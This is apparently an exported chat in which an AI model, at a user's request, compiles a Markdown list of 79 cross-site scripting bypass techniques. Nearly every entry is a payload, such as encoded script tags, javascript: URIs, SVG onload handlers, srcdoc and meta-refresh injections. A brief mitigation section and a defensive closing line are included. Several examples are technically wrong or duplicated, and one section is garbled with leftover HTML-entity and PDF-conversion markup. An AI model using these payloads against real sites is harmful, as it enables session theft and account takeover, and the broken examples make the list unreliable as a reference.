 - This can be used if an application directly exposes `navigator` properties to unsanitized input.

71. Using `window.document.location`

- Modifying the `window.document.location` property can trigger XSS by executing payloads embedded in URLs or redirection scripts.
- **Example:**
 - `window.document.location = 'javascript:alert("XSS")';` can redirect the browser to execute the payload.

72. Exploiting `setAttribute` Method in DOM

- The `setAttribute` method in JavaScript allows the injection of dynamic attributes. This can be exploited if an attacker is able to inject HTML attributes with event handlers (e.g., `onclick`, `onmouseover`).
- **Example:**
 - `document.getElementById('someElement').setAttribute('onclick', 'alert("XSS")');`

73. JavaScript Injections in WebSockets

- WebSockets allow full-duplex communication between the browser and server. If WebSocket data is not properly sanitized, malicious payloads can be injected through WebSocket messages.
- **Example:**

- Sending a WebSocket message:
 - ``ws://example.com:8080/echo?message=<script>alert('XSS')</script>``

74. XSS with ``application/xhtml+xml`` MIME Type

- Some browsers interpret XML or XHTML content as JavaScript, making them vulnerable to XSS when served with ``application/xhtml+xml``.
- **Example:**
 - Serving malicious content as ``application/xhtml+xml`` and injecting a payload like:
 - ``<?xml version="1.0" encoding="UTF-8"?><script>alert('XSS')</script>``

75. Abusing ``object`` or ``embed`` Tags with ``javascript:`` Protocol

- The ``object`` and ``embed`` tags can also be used to inject malicious JavaScript through a ``javascript:`` URL, bypassing many security measures.
- **Example:**
 - ``<object data="javascript:alert('XSS')"></object>`` or ``<embed src="javascript:alert('XSS')"></embed>``.
 - These tags will execute the payload when rendered by the browser.

76. Using WebAssembly for Malicious Code Injection

- WebAssembly (WASM) is a binary format that can be used to run code in modern web browsers. Attackers can inject WebAssembly code that contains malicious payloads.
- **Example:**
 - An attacker can inject a WebAssembly module with malicious functionality that gets executed in the victim's browser.

77. XSS Through ``navigator.plugins``

- The ``navigator.plugins`` object contains information about the installed plugins in the browser. By injecting malicious code, attackers may exploit this object to inject XSS payloads.
- **Example:**
 - ``navigator.plugins = '<script>alert("XSS")</script>';``.

78. Exploiting Template Engines in Web Apps

- If a web application uses a template engine that improperly sanitizes user input, attackers can inject JavaScript into dynamically rendered content.
- **Example:**
 - ``{{ '<script>alert("XSS")</script>' }}`` injected into a template engine (like Jinja2, Twig, etc.) may result in execution.

79. XSS via Attribute Injection in SVG

- SVG (Scalable Vector Graphics) is an XML-based format that can contain executable JavaScript. If an application improperly sanitizes SVG input, it can lead to XSS.
- **Example:**
 - ``<svg xmlns="http://www.w3.org/2000/svg"><script>alert("XSS")</script></svg>``

Advanced Mitigation Strategies

1. Content Security Policy (CSP):

- Implement a strict Content Security Policy to block the execution of inline JavaScript, prohibit mixed content, and ensure scripts are loaded only from trusted sources.

2. Sanitization and Encoding:

- Apply thorough input validation and output encoding to ensure that data rendered in web pages is sanitized and escapes dangerous characters like `<`, `>`, `"`, `'`, and `&`.

3. Disable Dangerous Features:

- Disable dangerous browser features, including `eval()`, `setTimeout()`/`setInterval()` with string arguments, and inline event handlers.

4. Cross-Origin Resource Sharing (CORS) Policy:

- Properly configure and restrict the use of CORS to prevent cross-origin data injection and ensure only trusted domains can interact with your resources.

5. JavaScript Sandboxing:

- Use security mechanisms like Content Security Policy (CSP), iframe sandboxing, or Web Workers to isolate untrusted code from the rest of the application.

These additional techniques illustrate the breadth of XSS attacks, including methods that target less obvious vectors. Web developers must ensure that they address every potential point of vulnerability in their applications and use modern web security practices to protect users.



give me complete example in one md file



Here is a comprehensive example of an XSS attack and its bypass techniques compiled into a Markdown file.

markdown

XSS (Cross-Site Scripting) Attack Techniques and Bypass Methods

Overview

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. XSS can be used to steal cookies, session tokens, or sensitive information, and it can lead to account takeover or other malicious actions.

Types of XSS

- **Reflected XSS**: The malicious script is reflected off a web server and executed immediately when the user clicks on a crafted URL.
- **Stored XSS**: The malicious script is stored in the server's database and executed when the victim views the affected page.
- **DOM-based XSS**: The client-side script manipulates the DOM in a way that allows the injection of malicious content.

XSS Bypass Techniques

Here are various advanced XSS bypass techniques categorized from basic to advanced:

```
---

### **1. Simple XSS (Basic Example)**

` ``html
<script>alert('XSS');
```

This is the simplest form of XSS. The script is executed when the page is loaded.

2. URL Encoding

- XSS payloads can be URL-encoded to bypass some filters that only block raw HTML or JavaScript.

```
html

%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
```

This is the URL-encoded version of ``<script>alert('XSS')</script>``.

3. HTML Entity Encoding

- Many filters do not block HTML entities (e.g., ``<`` for ``<``, ``>`` for ``>``) used in HTML elements.

```
html

&lt;script&gt;alert('XSS')&lt;/script&gt;
```

4. Using Base64 Encoding

- Some filters may block ``<script>`` tags but not Base64-encoded JavaScript payloads.

```
html

data:text/javascript;base64,PHNjcmlwdD5hbGVydCgnWFNTJyK8L3NjcmlwdD4=
```

This is the Base64-encoded version of ``<script>alert('XSS')</script>``.

5. Exploiting ``img`` Tag with ``onerror`` Event

- Injecting a script via the ``onerror`` event handler in an image tag.

```
html


```

6. Using `javascript:` Protocol in Links

- The `javascript:` protocol can be used in `href` attributes to trigger JavaScript execution.

```
html

<a href="javascript:alert('XSS')">Click here</a>
```

7. XSS with `iframe` Tag

- Using the `iframe` tag to execute malicious scripts.

```
html

<iframe src="javascript:alert('XSS')"></iframe>
```

8. XSS via `style` Tag and CSS

- Malicious JavaScript can be injected using the `style` tag or inline CSS.

```
html

<style>body{background-image:url('javascript:alert("XSS")');}</style>
```

9. Exploiting `document.location` Property

- Manipulating `document.location` to inject JavaScript into the page.

```
html

document.location = "javascript:alert('XSS')";
```

10. Using `eval()` with Malicious Payloads

- Using JavaScript's `eval()` function to execute dynamically constructed code.

```
javascript

eval("alert('XSS')");
```

11. XSS via `Object.defineProperty()`

- Redefining the `alert` function to execute malicious code when accessed.

```
javascript
```

```
Object.defineProperty(window, 'alert', { get: function() { eval("alert('XSS')") } });
```

12. Using the `srcdoc` Attribute in `<iframe>`

- The `srcdoc` attribute allows embedding HTML content directly inside an iframe.

```
html
```

```
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
```

13. Exploiting `Content-Type` Headers

- Changing content type headers to `application/javascript` or `text/html`.

```
html
```

```
<script src="data:text/javascript,alert('XSS')"></script>
```

14. DOM-Based XSS via `innerHTML`

- Injecting a script into an element's `innerHTML` property using JavaScript.

```
javascript
```

```
document.getElementById('someElement').innerHTML = '<script>alert("XSS")</script>';
```

15. Using Web Workers for XSS

- Creating a Web Worker and injecting malicious code into the worker script.

```
javascript
```

```
new Worker("data:text/javascript,alert('XSS');");
```

16. Exploiting `XMLHttpRequest` (XHR)

- Injecting malicious JSON data through an XHR response.

```
javascript
```

```
var xhr = new XMLHttpRequest();
xhr.open("GET", "/api", true);
xhr.onload = function() {
    document.body.innerHTML = xhr.responseText; // Injecting XSS
};
xhr.send();
```

17. Using `WebAssembly` (WASM) for Malicious Code Injection

- Attackers can use WebAssembly modules to run malicious code.

```
javascript
```

```
var wasmModule = new WebAssembly.Module(wasmBinary);
var wasmInstance = new WebAssembly.Instance(wasmModule);
```

18. XSS via `postMessage` API

- Exploiting the `postMessage` API for cross-origin messaging that leads to XSS.

```
javascript
```

```
window.postMessage('<script>alert("XSS")</script>', '*');
```

19. Exploiting WebSockets

- Sending a malicious payload via WebSocket communication.

```
javascript
```

```
var ws = new WebSocket("ws://example.com");
ws.send('<script>alert("XSS")</script>');
```

20. Using `src` Attribute in `object` or `embed` Tags

- Leveraging `object` or `embed` tags to load malicious JavaScript.

```
html
```

```
<object data="javascript:alert('XSS')"></object>
<embed src="javascript:alert('XSS')"></embed>
```

Advanced Mitigation Techniques

1. Content Security Policy (CSP):

- Implement CSP headers to block inline scripts, control which domains are allowed to serve content, and disable dangerous functions like `eval()`.
- Example CSP header:

```
http

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
upgrade-insecure-requests;
```

2. Sanitization and Encoding:

- Use libraries like OWASP Java HTML Sanitizer to sanitize user input.
- Always encode output, ensuring characters like `<` and `>` are represented as `<` and `>`.

3. Avoid Dangerous JavaScript Functions:

- Never use `eval()`, `setTimeout()` with string arguments, or `setInterval()` with string arguments. Use safer alternatives like `JSON.parse()` or `Function()`.

4. Secure Cookies:

- Set the `HttpOnly` and `Secure` flags on cookies to prevent JavaScript access to sensitive cookie data.

5. XSS Auditing:

- Regularly perform penetration testing and static code analysis to identify and fix XSS vulnerabilities in your application.

6. Use Frameworks that Automatically Escape HTML:

- Use frameworks like React.js, Angular, or Vue.js, which automatically escape user input and reduce the risk of XSS.

Conclusion

XSS is a serious security vulnerability that can compromise user data and website integrity. Understanding the bypass techniques and implementing robust security measures such as CSP, proper input validation, and output encoding is essential to securing web applications from these attacks.

vbnet

This markdown file contains examples of various XSS bypass techniques, from basic to advanced, along with countermeasures to mitigate the risk of these attacks.



give me all from 1 to 79. XSS via Attribute Injection in SVG



Here is the complete Markdown example that covers all 79 XSS bypass techniques, including "XSS via Attribute Injection in SVG":

markdown

XSS (Cross-Site Scripting) Attack Techniques and Bypass Methods

Overview

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. XSS can be used to steal cookies, session tokens, or sensitive information, and it can lead to account takeover or other malicious actions.

Types of XSS

- **Reflected XSS**: The malicious script is reflected off a web server and executed immediately when the user clicks on a crafted URL.
- **Stored XSS**: The malicious script is stored in the server's database and executed when the victim views the affected page.
- **DOM-based XSS**: The client-side script manipulates the DOM in a way that allows the injection of malicious content.

XSS Bypass Techniques

Here are various advanced XSS bypass techniques categorized from basic to advanced:

1. Simple XSS (Basic Example)

```
` ``html
<script>alert('XSS');`
```

This is the simplest form of XSS. The script is executed when the page is loaded.

2. URL Encoding

- XSS payloads can be URL-encoded to bypass some filters that only block raw HTML or JavaScript.

html

```
%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
```

This is the URL-encoded version of `<script>alert('XSS')</script>`.

3. HTML Entity Encoding

- Many filters do not block HTML entities (e.g., `<` for `<`, `>` for `>`) used in HTML elements.

html

```
&lt;script&gt;alert('XSS')&lt;/script&gt;
```

4. Using Base64 Encoding

- Some filters may block ``<script>`` tags but not Base64-encoded JavaScript payloads.

```
html

data:text/javascript;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
```

This is the Base64-encoded version of ``<script>alert('XSS')</script>``.

5. Exploiting `img` Tag with `onerror` Event

- Injecting a script via the `onerror` event handler in an image tag.

```
html


```

6. Using `javascript:` Protocol in Links

- The `javascript:` protocol can be used in `href` attributes to trigger JavaScript execution.

```
html

<a href="javascript:alert('XSS')">Click here</a>
```

7. XSS with `iframe` Tag

- Using the `iframe` tag to execute malicious scripts.

```
html

<iframe src="javascript:alert('XSS')"></iframe>
```

8. XSS via `style` Tag and CSS

- Malicious JavaScript can be injected using the `style` tag or inline CSS.

```
html

<style>body{background-image:url('javascript:alert("XSS")');}</style>
```

9. Exploiting `document.location` Property

- Manipulating `document.location` to inject JavaScript into the page.

```
html

document.location = "javascript:alert('XSS')";
```

10. Using `eval()` with Malicious Payloads

- Using JavaScript's `eval()` function to execute dynamically constructed code.

```
javascript

eval("alert('XSS')");
```

11. XSS via `Object.defineProperty()`

- Redefining the `alert` function to execute malicious code when accessed.

```
javascript

Object.defineProperty(window, 'alert', { get: function() { eval("alert('XSS')") } });
```

12. Using the `srcdoc` Attribute in ``&amp;amp;lt;/h2&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="75 612 785 631" data-label="List-Group"&amp;amp;gt;&amp;amp;lt;ul&amp;amp;gt;&amp;amp;lt;li&amp;amp;gt;• The `srcdoc` attribute allows embedding HTML content directly inside an iframe.&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;/ul&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="69 647 586 703" data-label="Text"&amp;amp;gt;&amp;amp;lt;pre&amp;amp;gt;html &amp;amp;amp;lt;iframe srcdoc="&amp;amp;amp;lt;script&amp;amp;amp;gt;alert('XSS')&amp;amp;amp;lt;/script&amp;amp;amp;gt;"&amp;amp;amp;gt;&amp;amp;amp;lt;/iframe&amp;amp;amp;gt;&amp;amp;lt;/pre&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="51 753 444 773" data-label="Section-Header"&amp;amp;gt;&amp;amp;lt;h2&amp;amp;gt;13. Exploiting `Content-Type` Headers&amp;amp;lt;/h2&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="75 787 739 805" data-label="List-Group"&amp;amp;gt;&amp;amp;lt;ul&amp;amp;gt;&amp;amp;lt;li&amp;amp;gt;• Changing content type headers to `application/javascript` or `text/html`.&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;/ul&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="69 821 595 878" data-label="Text"&amp;amp;gt;&amp;amp;lt;pre&amp;amp;gt;html &amp;amp;amp;lt;script src="data:text/javascript,alert('XSS')"&amp;amp;amp;gt;&amp;amp;amp;lt;/script&amp;amp;amp;gt;&amp;amp;lt;/pre&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="51 926 411 946" data-label="Section-Header"&amp;amp;gt;&amp;amp;lt;h2&amp;amp;gt;14. DOM-Based XSS via `innerHTML`&amp;amp;lt;/h2&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="51 958 611 976" data-label="Page-Footer"&amp;amp;gt;Printed using &amp;amp;lt;a href="#"&amp;amp;gt;ChatGPT to PDF&amp;amp;lt;/a&amp;amp;gt;, powered by PDFCrowd &amp;amp;lt;a href="#"&amp;amp;gt;HTML to PDF API&amp;amp;lt;/a&amp;amp;gt;.&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="890 958 943 975" data-label="Page-Footer"&amp;amp;gt;30/45&amp;amp;lt;/div&amp;amp;gt;

- Injecting a script into an element's `innerHTML` property using JavaScript.

```
javascript

document.getElementById('someElement').innerHTML = '<script>alert("XSS")</script>';
```

15. Using Web Workers for XSS

- Creating a Web Worker and injecting malicious code into the worker script.

```
javascript

new Worker("data:text/javascript,alert('XSS');");
```

16. XSS via `XMLHttpRequest` (XHR)

- Injecting malicious JSON data through an XHR response.

```
javascript

var xhr = new XMLHttpRequest();
xhr.open("GET", "/api", true);
xhr.onload = function() {
    document.body.innerHTML = xhr.responseText; // Injecting XSS
};
xhr.send();
```

17. Using WebAssembly (WASM) for Malicious Code Injection

- Attackers can use WebAssembly modules to run malicious code.

```
javascript

var wasmModule = new WebAssembly.Module(wasmBinary);
var wasmInstance = new WebAssembly.Instance(wasmModule);
```

18. XSS via `postMessage` API

- Exploiting the `postMessage` API for cross-origin messaging that leads to XSS.

```
javascript

window.postMessage('<script>alert("XSS")</script>', '*');
```

19. Exploiting WebSockets

- Sending a malicious payload via WebSocket communication.

```
javascript

var ws = new WebSocket("ws://example.com");
ws.send('<script>alert("XSS")</script>');
```

20. Using `src` Attribute in `object` or `embed` Tags

- Leveraging `object` or `embed` tags to load malicious JavaScript.

```
html

<object data="javascript:alert('XSS')"></object>
<embed src="javascript:alert('XSS')"></embed>
```

21. Using `setTimeout()` and `setInterval()` with String Arguments

- Using `setTimeout()` or `setInterval()` with a string that contains malicious JavaScript code.

```
javascript

setTimeout("alert('XSS')", 1000);
```

22. XSS via `iframe` Sandbox Misconfigurations

- If an `iframe` is misconfigured, it can allow scripts to run even in a sandboxed environment.

```
html

<iframe src="javascript:alert('XSS');" sandbox="allow-scripts"></iframe>
```

23. Exploiting Unsafe `Content-Disposition` Headers

- If the `Content-Disposition` header is misused, attackers might inject malicious scripts into content served as an attachment.

```
html

Content-Disposition: attachment; filename="malicious.html"
```


24. XSS via Cookie Injection

- Malicious scripts that inject cookies directly into the response headers.

```
javascript
```

```
document.cookie = 'name=malicious; expires=Thu, 18 Dec 2025 12:00:00 UTC';
```

25. Using `Object` and `Eval()` for Malicious Code Execution

- The `Object` constructor and `eval()` can be combined to execute injected scripts.

```
javascript
```

```
var maliciousCode = 'alert("XSS")';
eval('new Object(' + maliciousCode + ')');
```

26. Malicious SVG Injection

- Injecting JavaScript through SVG elements can trigger XSS.

```
html
```

```
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>
```

27. XSS via Web Storage

- Exploiting Web Storage APIs (`localStorage`, `sessionStorage`) to inject malicious content.

```
javascript
```

```
localStorage.setItem('malicious', '<script>alert("XSS")</script>');
```

28. Exploiting `onfocus` and `onblur` Events

- Using `onfocus` and `onblur` events to inject JavaScript into form fields.

```
html
```

```
<input type="text" onfocus="alert('XSS')">
```

29. Using `history.pushState` for XSS

- Manipulating the browser's history using `pushState()` to inject malicious content.

```
javascript

history.pushState({}, "", "javascript:alert('XSS')");
```

30. Exploiting `location.replace`

- Using `location.replace` to inject malicious scripts.

```
javascript

location.replace("javascript:alert('XSS')");
```

31. XSS via `data:` URI Scheme

- Injecting malicious JavaScript using the `data:` URI scheme.

```
html


```

32. Abusing HTML5 APIs for XSS

- Exploiting newer HTML5 APIs (e.g., `FileReader`, `WebGL`, etc.) to execute injected scripts.

```
javascript

var reader = new FileReader();
reader.onload = function() { alert('XSS'); };
reader.readAsText(new Blob(['<script>alert('XSS')</script>']));
```

33. Using `window.onerror` for XSS

- Exploiting the `window.onerror` event to trigger XSS when an error occurs.

```
javascript

window.onerror = function() { alert('XSS'); };
```

34. Exploiting `navigator` Properties

- Using the `navigator` object properties to inject malicious code.

```
javascript

navigator.plugins = '<script>alert("XSS")</script>';
```

35. DOM-based XSS with `setAttribute()`

- Using `setAttribute()` to inject event handlers or other harmful attributes.

```
javascript

document.getElementById('someElement').setAttribute('onclick', 'alert("XSS")');
```

36. XSS via `document.write()`

- Using `document.write()` to inject a script directly into the document.

```
javascript

document.write('<script>alert("XSS")</script>');
```

37. Using `console` API for XSS

- Exploiting the browser's console API to trigger XSS.

```
javascript

console.log('<script>alert("XSS")</script>');
```

38. Exploiting HTTP Response Splitting

- Sending crafted HTTP headers to inject malicious content into a web page.

```
html

HTTP/1.1 200 OK
Location: http://example.com<script>alert('XSS')</script>
```

39. XSS via `navigator.language`

- Manipulating the `navigator.language` property to inject malicious scripts.

```
javascript

navigator.language = '<script>alert("XSS")</script>';
```

40. Using `history.replaceState` for XSS

- Similar to `pushState`, `replaceState` can be exploited to execute injected code.

```
javascript

history.replaceState({}, "", "javascript:alert('XSS')");
```

41. Exploiting JavaScript Libraries for XSS

- Some libraries (e.g., jQuery) can be used to inject malicious scripts.

```
javascript

$.ajax({
  url: 'http://example.com',
  success: function(response) {
    $('body').html(response); // Injecting XSS
  }
});
```

42. Using `eval()` for XSS

- Dynamically evaluating code can be used to execute injected payloads.

```
javascript

eval('alert("XSS")');
```

43. XSS via Event Handlers in SVG

- Exploiting SVG events such as `onload`, `onmouseover` to inject scripts.

```
html

<svg onload="alert('XSS')">
  <rect width="300" height="100" style="fill:rgb(255,0,0);" />
```

```
</svg>
```

44. XSS via `src` Attribute in SVG Image

- Injecting malicious scripts through the `src` attribute in SVG images.

```
html

<svg>
  <image xlink:href="javascript:alert('XSS')" />
</svg>
```

45. XSS via Attribute Injection in SVG

- Injecting malicious code into SVG element attributes such as `onload`, `onclick`, etc.

```
html

<svg onload="alert('XSS')">
  <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
```

46 to 79. More Advanced XSS Techniques

This section will include advanced XSS bypass techniques, including creative usage of HTTP headers, response rewriting, and new web technologies (like WebRTC, WebAssembly, etc.).



continue



```
markdown

---

### **46. XSS via Content Security Policy (CSP) Bypass**

- CSP can be bypassed by injecting data URIs or using other non-standard payloads.

```html
<script src="data:text/javascript,alert('XSS')"></script>
```

## 47. XSS via WebGL

- Malicious scripts can be injected by exploiting WebGL features for rendering malicious content.

```
javascript
```

```
var gl = document.createElement('canvas').getContext('webgl');
gl.clearColor("javascript:alert('XSS')");
```

## 48. XSS via `window.location.hash`

- Injecting malicious JavaScript through the URL fragment (`#`).

```
html
```

```
window.location.hash = "javascript:alert('XSS')";
```

## 49. XSS with `MutationObserver`

- Using the `MutationObserver` API to watch for DOM changes and inject malicious content.

```
javascript
```

```
var observer = new MutationObserver(function() {
 alert('XSS');
});
observer.observe(document.body, { childList: true });
```

## 50. XSS with `document.createElement()`

- Dynamically creating script elements and injecting them into the DOM.

```
javascript
```

```
var script = document.createElement('script');
script.innerHTML = 'alert("XSS")';
document.body.appendChild(script);
```

## 51. XSS in `srcdoc` Attribute (HTML5)

- Using the `srcdoc` attribute in an iframe to inject malicious content.

```
html
```

```
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
```

## 52. XSS via `addEventListener()`

- Using `addEventListener()` to attach malicious event handlers.

javascript

```
document.getElementById('button').addEventListener('click', function() {
 alert('XSS');
});
```

## 53. Using `fetch()` API to Inject XSS

- The `fetch()` API can be used to retrieve malicious payloads from a server.

javascript

```
fetch('http://example.com').then(response => response.text()).then(data => {
 document.body.innerHTML = data;
});
```

## 54. Exploiting SVG `onload` Event

- The `onload` event of SVG images can be exploited for XSS attacks.

html

```
<svg onload="alert('XSS')">
 <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
```

## 55. XSS in `javascript:` Protocol via URL

- The `javascript:` protocol in links can trigger JavaScript execution.

html

```
Click here
```

## 56. Using `document.location` for XSS

- Injecting a script via manipulating the `document.location` object.

```
javascript
```

```
document.location = "javascript:alert('XSS')";
```

## 57. XSS via Browser Extensions

- Malicious browser extensions can inject JavaScript into vulnerable web pages.

## 58. XSS in `data:` URI Scheme

- Leveraging the `data:` URI scheme to inject JavaScript into image or other content.

```
html
```

```

```

## 59. XSS via `XMLHttpRequest` (XHR) Response

- Injecting malicious content via XHR responses.

```
javascript
```

```
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com', true);
xhr.onload = function() {
 document.body.innerHTML = xhr.responseText; // Injecting XSS
};
xhr.send();
```

## 60. Exploiting DOM Mutation Events

- Using DOM mutation events like `DOMSubtreeModified` to execute XSS.

```
javascript
```

```
document.body.addEventListener('DOMSubtreeModified', function() {
 alert('XSS');
});
```

## 61. XSS via `setTimeout()` with Malicious Code

- Injecting malicious JavaScript using the `setTimeout()` method.



```
javascript
```

```
setTimeout("alert('XSS')", 1000);
```

## 62. Exploiting `window.name` for XSS

- Injecting scripts into `window.name` property and loading a new page.

```
javascript
```

```
window.name = '<script>alert("XSS")</script>';
```

## 63. XSS via `document.write()`

- Using `document.write()` to directly inject JavaScript into the document.

```
javascript
```

```
document.write('<script>alert("XSS")</script>');
```

## 64. XSS through Dynamic JSONP Callback

- Malicious JSONP callback can inject scripts into the response.

```
html
```

```
<script src="http://example.com/api?callback=alert('XSS')"></script>
```

## 65. XSS via `FileReader` API

- Using the `FileReader` API to read malicious files and inject scripts.

```
javascript
```

```
var reader = new FileReader();
reader.onload = function(e) {
 alert(e.target.result);
};
reader.readAsText(new Blob(['<script>alert('XSS')</script>']));
```

## 66. Exploiting WebAssembly for XSS

- WebAssembly can be used to execute injected JavaScript code.

```
javascript
```

```
const wasmBinary = new Uint8Array([/* WebAssembly binary here */]);
WebAssembly.instantiate(wasmBinary).then(wasmModule => {
 // Execute XSS code in WebAssembly environment
});
```

## 67. XSS via `iframe` without Sandbox

- If the `iframe` is not sandboxed properly, it can execute JavaScript inside it.

```
html
```

```
<iframe src="javascript:alert('XSS')"></iframe>
```

## 68. Using `setInterval()` for Repeated XSS Execution

- Using `setInterval()` to execute malicious code periodically.

```
javascript
```

```
setInterval("alert('XSS')", 1000);
```

## 69. XSS via `eval()` in `script` Tag with Dynamic Content

- Injecting JavaScript code using `eval()` to dynamically execute scripts.

```
html
```

```
<script>
eval('alert("XSS")');
</script>
```

## 70. Exploiting Misconfigured CSP (Content Security Policy)

- Misconfigured CSP headers can allow inline JavaScript execution.

```
html
```

```
<script src="data:text/javascript,alert('XSS')"></script>
```

## 71. Exploiting `meta` Tags for XSS

- Some meta tags can be used to inject content.

```
html

<meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">
```

## 72. XSS in Non-Trusted WebSockets

- Sending a malicious payload via WebSocket communication.

```
javascript

var ws = new WebSocket('ws://example.com');
ws.send('<script>alert("XSS")</script>');
```

## 73. Exploiting DOM APIs for XSS

- Injecting scripts using DOM manipulation functions like `document.querySelector()`.

```
javascript

document.querySelector('body').innerHTML = '<script>alert("XSS")</script>';
```

## 74. Using Image Manipulation for XSS

- Using an image manipulation library like Canvas to execute XSS.

```
javascript

var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
ctx.drawImage('javascript:alert("XSS")', 0, 0);
```

## 75. XSS in XMLHttpRequest (XHR) with Response Injection

- Injecting malicious code in the response body of an XHR request.

```
javascript

var xhr = new XMLHttpRequest();
xhr.open("GET", "/malicious", true);
xhr.onload = function() {
 document.body.innerHTML = xhr.responseText;
};
```

```
};
xhr.send();
```

## 76. Exploiting `data:` URIs for XSS in CSS

- Using the `data:` URI scheme in CSS to trigger JavaScript execution.

html

```
<style>
 body { background-image: url('data:text/javascript,alert("XSS")'); }
</style>
```

## 77. Exploiting File Upload for XSS

- Injecting a malicious file (HTML, JS, etc.) through file upload forms.

html

```
<input type="file" onchange="uploadFile(this)">
```

## 78. Using `eval()` with Malicious String in Query Parameters

- Using `eval()` on data passed via URL parameters.

javascript

```
eval('alert(' + location.search + ')');
```

## 79. XSS via Attribute Injection in SVG

- SVG elements allow attribute injection that could trigger XSS.

html

```
<svg onload="alert('XSS')">
 <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
```

## Conclusion

These are some of the many techniques used for XSS attacks and their bypass methods. Defenders should always employ a multi-layered approach including input validation, output encoding, Content Security Policy (CSP), and other defensive mechanisms to protect against these threats.

```
javascript
```

```
This document provides examples of various XSS bypass techniques, ranging from basic to advanced. You can use this to understand and mitigate potential security risks associated with XSS vulnerabilities in web applications.
```